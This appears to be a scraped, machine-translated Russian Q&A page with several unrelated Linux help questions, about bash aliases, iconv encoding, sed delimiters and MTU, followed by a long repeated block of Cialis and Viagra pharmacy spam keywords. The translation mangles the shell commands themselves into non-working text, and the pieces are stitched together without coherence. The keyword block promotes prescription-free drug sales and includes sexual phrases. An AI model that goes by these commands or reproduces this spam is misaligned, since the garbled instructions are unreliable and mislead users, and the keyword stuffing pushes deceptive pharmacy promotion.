Примечание: Я могу вручную отправить сигнал SIGINT в скрипт перед выключением этого, но я не буду администрировать этот сервер и там не говорю, что кто-то в будущем может сделать.

+363
zhilinaks 5 янв. 2012 г., 02:24:42

В Ubuntu 16.04 я добавил следующий код в файл/etc/Баш.bashrc следующее:

псевдоним Лл="LS-Ла-группа-каталоги-первый"

Потом я перезагрузил.

Примечание: я использовал файл/etc/Баш.bashrc следующее , потому что мне надо все алиасы вообще в один файл и доступны для всех пользователей.


Я собирался переписать "родной" Лл псевдоним. Пока не изменен; если я поеду в любую папку, которая содержит каталоги и файлы, и я исполняю тся, я получаю список без Дирс сортировки файлов. Другими словами.

Что я сделал не так?

+349
Lucrisha Hankins 10 окт. 2019 г., 11:42:47

Получается, что powertop - это хорошая альтернатива, но тот факт, что мне придется заново все делать вручную каждый раз, когда я включаю компьютер убивает его для меня. Это заставило меня установить тлп, для которых я не нашел альтернативы.

+306
Carl Binalla 1 окт. 2018 г., 05:40:28

Я логин отключен в YaST, пользователи, думая, что включение автоматического входа в систему, и теперь, когда я получаю окно входа в систему мой пароль неверный. Так что я не могу загрузиться перекати-поле для повторного включения входа (вылов 22). Как я могу загрузиться в openSUSE?

Моя система-это сабвуферами X201 ноутбук с ОС: openSUSE на борту, Antergos, Мята, PClinux, ОС Windows 7.

+227
Kalatzis Stefanos 18 мая 2018 г., 04:56:31

Я пытаюсь преобразовать файл из UTF-8 в MS-Анси.

Я использую

 с iconv -F в кодировке utf8 -Т МС-стандарт ANSI// < data.txt

но вам

 с iconv: незаконное входная последовательность в позиции 171359

когда смотрю на это

 ДД if=data.txt of=error.txt БС=1 отсчет=10 пропустить=171359

Я получаю это:

 шестнадцатеричного представления -с error.txt
 00000000 ФВ ВВ БФ 38 3а 6е 61 09 38 3а |...8:на.8:|
0000000a

это файл не в UTF-8, а если нет, то я должен вместо того, чтобы использовать функцию iconv?

+169
Rick Lecoat 9 июн. 2015 г., 01:58:09

В случае, если я могу использовать только для UDP и ICMP в протоколах, как я могу узнать, в байтах, на пути MTU для пакетов передачи с компьютера на IP-адрес назначения?

+142
FireFaced 15 июн. 2014 г., 04:52:19

Других ответов здесь уже большой, но я просто хотел добавить, что можно использовать другой разделитель, к тому же / с СЭД. Я делаю это, когда мне нужно работать на ввод, содержащий /:

СЕПГ -я "с@%реж%@${каталог}@г" "$config"и

Или даже:

СЕПГ -я "х#%реж%#${каталог}#г" "$config"и

Это все равно СЭД; он будет использовать любой символ, который вы укажете после С в качестве разделителя.

+40
Burg 15 мая 2010 г., 08:41:56

Показать вопросы с тегом

$200 cialis coupon 10 mg tadalafil generic 5 mg cialis over the counter at walmart best price for tadalafil 20 mg buy cialis buy cialis generic tadalafil buy cialis online buy cialis online without script buy tadalafil buy tadalafil online canadian cialis online pharmacy canadian pharmacy cialis cheap cialis cheap cialis generic cialis cialis 20 mg best price cialis 20mg cialis 30 day sample cialis 30 day trial coupon cialis and alcohol cialis before and after cialis canada cialis canada pharmacy online cialis cost cialis coupon cialis coupons cialis coupons printable cialis dosage cialis dosage information cialis for daily use cialis for sale cialis free trial cialis free trial voucher for cialis cialis generic cialis generic release date cialis generic tadalafil cialis lowest price cialis online cialis online pharmacy cialis over the counter cialis over the counter at walmart cialis patent expiration date extended cialis picture testimonials cialis pills cialis price cialis prices cialis reviews cialis side effects cialis tadalafil cialis tadalafil 20 mg cialis vs viagra cialis vs viagra which is better cialis without a doctor's prescription cialis without doctor prescription cost of cialis cost of tadalafil generic at walgreens coupon for cialis by manufacturer does cialis lower blood pressure generic cialis generic cialis at walmart generic cialis canada generic cialis canada pharmacy generic cialis from india generic cialis tadalafil generic tadalafil generic tadalafil 20 mg is there a generic for cialis online cialis purchasing cialis on the internet side effects for cialis side effects for tadalafil side effects of cialis tadalafil tadalafil 20 mg tadalafil 20 mg canadian drug stores tadalafil 20mg tadalafil 20mg lowest price tadalafil 5 mg tadalafil 5mg tadalafil cost at walmart tadalafil dosage tadalafil generic tadalafil generic at walgreens tadalafil generic best prices tadalafil online tadalafil price tadalafil side effects tadalafil tablets tadalafil without a doctor's prescription viagra vs cialis viagra vs cialis vs levitra warnings for tadalafil $200 cialis coupon 10 mg tadalafil generic 5 mg cialis over the counter at walmart best price for tadalafil 20 mg buy cialis buy cialis generic tadalafil buy cialis online buy cialis online without script buy tadalafil buy tadalafil online canadian cialis online pharmacy canadian pharmacy cialis cheap cialis cheap cialis generic cialis cialis 20 mg best price cialis 20mg cialis 30 day sample cialis 30 day trial coupon cialis and alcohol cialis before and after cialis canada cialis canada pharmacy online cialis cost cialis coupon cialis coupons cialis coupons printable cialis dosage cialis dosage information cialis for daily use cialis for sale cialis free trial cialis free trial voucher for cialis cialis generic cialis generic release date cialis generic tadalafil cialis lowest price cialis online cialis online pharmacy cialis over the counter cialis over the counter at walmart cialis patent expiration date extended cialis picture testimonials cialis pills cialis price cialis prices cialis reviews cialis side effects cialis tadalafil cialis tadalafil 20 mg cialis vs viagra cialis vs viagra which is better cialis without a doctor's prescription cialis without doctor prescription cost of cialis cost of tadalafil generic at walgreens coupon for cialis by manufacturer does cialis lower blood pressure generic cialis generic cialis at walmart generic cialis canada generic cialis canada pharmacy generic cialis from india generic cialis tadalafil generic tadalafil generic tadalafil 20 mg is there a generic for cialis online cialis purchasing cialis on the internet side effects for cialis side effects for tadalafil side effects of cialis tadalafil tadalafil 20 mg tadalafil 20 mg canadian drug stores tadalafil 20mg tadalafil 20mg lowest price tadalafil 5 mg tadalafil 5mg tadalafil cost at walmart tadalafil dosage tadalafil generic tadalafil generic at walgreens tadalafil generic best prices tadalafil online tadalafil price tadalafil side effects tadalafil tablets tadalafil without a doctor's prescription viagra vs cialis viagra vs cialis vs levitra warnings for tadalafil blue chew viagra scam buy viagra buy viagra online buy viagra online canada pharmacy buy viagra online without script canada pharmacy viagra generic canadian pharcharmy online viagra canadian viagra canadian viagra without a doctor prescription cheap viagra cialis vs viagra cost of viagra female viagra female viagra pills free viagra free viagra samples generic viagra generic viagra 100mg generic viagra available generic viagra canada price generic viagra online pharmacy generic viagra sildenafil citrate generic viagra without a doctor prescription herbal viagra how does viagra work how long does viagra last how much does viagra cost how to take viagra for maximum effect i took viagra mom levitra vs viagra mom gives son viagra natural viagra natural viagra alternatives that work natural viagra substitute nizagara 100 mg vs viagra online viagra online viagra without subscription over the counter viagra real life viagra demonstration revatio vs viagra side effects of viagra sildenafil sildenafil 100mg sildenafil 20 mg sildenafil 20 mg tablet sildenafil 20 mg tablet vs viagra sildenafil citrate sildenafil citrate 100mg sildenafil citrate 20 mg sildenafil coupons sildenafil dosage sildenafil dosage recommendations sildenafil generic sildenafil side effects sophia viagra sophia viagra bikini sophia viagra hot stendra vs viagra stepmom gives son viagra viagra viagra 100mg viagra before after photo actual viagra boner viagra canada online pharmacy viagra coupon viagra coupons viagra coupons from pfizer viagra dosage viagra dosage recommendations viagra erection viagra erection after ejaculation viagra for men viagra for sale viagra for sale on amazon viagra for women viagra generic viagra generic availability viagra generic release date viagra in action viagra on line viagra online viagra online canada pharmacy viagra online pharmacy viagra patent expiration viagra pill viagra pills viagra porn viagra prank viagra prices viagra samples viagra sex viagra side effects viagra substitute viagra vs cialis viagra without a doctor prescription viagra without doctor prescription what is viagra when will generic viagra be available blue chew viagra scam buy viagra buy viagra online buy viagra online canada pharmacy buy viagra online without script canada pharmacy viagra generic canadian pharcharmy online viagra canadian viagra canadian viagra without a doctor prescription cheap viagra cialis vs viagra cost of viagra female viagra female viagra pills free viagra free viagra samples generic viagra generic viagra 100mg generic viagra available generic viagra canada price generic viagra online pharmacy generic viagra sildenafil citrate generic viagra without a doctor prescription herbal viagra how does viagra work how long does viagra last how much does viagra cost how to take viagra for maximum effect i took viagra mom levitra vs viagra mom gives son viagra natural viagra natural viagra alternatives that work natural viagra substitute nizagara 100 mg vs viagra online viagra online viagra without subscription over the counter viagra real life viagra demonstration revatio vs viagra side effects of viagra sildenafil sildenafil 100mg sildenafil 20 mg sildenafil 20 mg tablet sildenafil 20 mg tablet vs viagra sildenafil citrate sildenafil citrate 100mg sildenafil citrate 20 mg sildenafil coupons sildenafil dosage sildenafil dosage recommendations sildenafil generic sildenafil side effects sophia viagra sophia viagra bikini sophia viagra hot stendra vs viagra stepmom gives son viagra viagra viagra 100mg viagra before after photo actual viagra boner viagra canada online pharmacy viagra coupon viagra coupons viagra coupons from pfizer viagra dosage viagra dosage recommendations viagra erection viagra erection after ejaculation viagra for men viagra for sale viagra for sale on amazon viagra for women viagra generic viagra generic availability viagra generic release date viagra in action viagra on line viagra online viagra online canada pharmacy viagra online pharmacy viagra patent expiration viagra pill viagra pills viagra porn viagra prank viagra prices viagra samples viagra sex viagra side effects viagra substitute viagra vs cialis viagra without a doctor prescription viagra without doctor prescription what is viagra when will generic viagra be available $200 cialis coupon 10 mg tadalafil generic 5 mg cialis over the counter at walmart best price for tadalafil 20 mg buy cialis buy cialis generic tadalafil buy cialis online buy cialis online without script buy tadalafil buy tadalafil online canadian cialis online pharmacy canadian pharmacy cialis cheap cialis cheap cialis generic cialis cialis 20 mg best price cialis 20mg cialis 30 day sample cialis 30 day trial coupon cialis and alcohol cialis before and after cialis canada cialis canada pharmacy online cialis cost cialis coupon cialis coupons cialis coupons printable cialis dosage cialis dosage information cialis for daily use cialis for sale cialis free trial cialis free trial voucher for cialis cialis generic cialis generic release date cialis generic tadalafil cialis lowest price cialis online cialis online pharmacy cialis over the counter cialis over the counter at walmart cialis patent expiration date extended cialis picture testimonials cialis pills cialis price cialis prices cialis reviews cialis side effects cialis tadalafil cialis tadalafil 20 mg cialis vs viagra cialis vs viagra which is better cialis without a doctor's prescription cialis without doctor prescription cost of cialis cost of tadalafil generic at walgreens coupon for cialis by manufacturer does cialis lower blood pressure generic cialis generic cialis at walmart generic cialis canada generic cialis canada pharmacy generic cialis from india generic cialis tadalafil generic tadalafil generic tadalafil 20 mg is there a generic for cialis online cialis purchasing cialis on the internet side effects for cialis side effects for tadalafil side effects of cialis tadalafil tadalafil 20 mg tadalafil 20 mg canadian drug stores tadalafil 20mg tadalafil 20mg lowest price tadalafil 5 mg tadalafil 5mg tadalafil cost at walmart tadalafil dosage tadalafil generic tadalafil generic at walgreens tadalafil generic best prices tadalafil online tadalafil price tadalafil side effects tadalafil tablets tadalafil without a doctor's prescription viagra vs cialis viagra vs cialis vs levitra warnings for tadalafil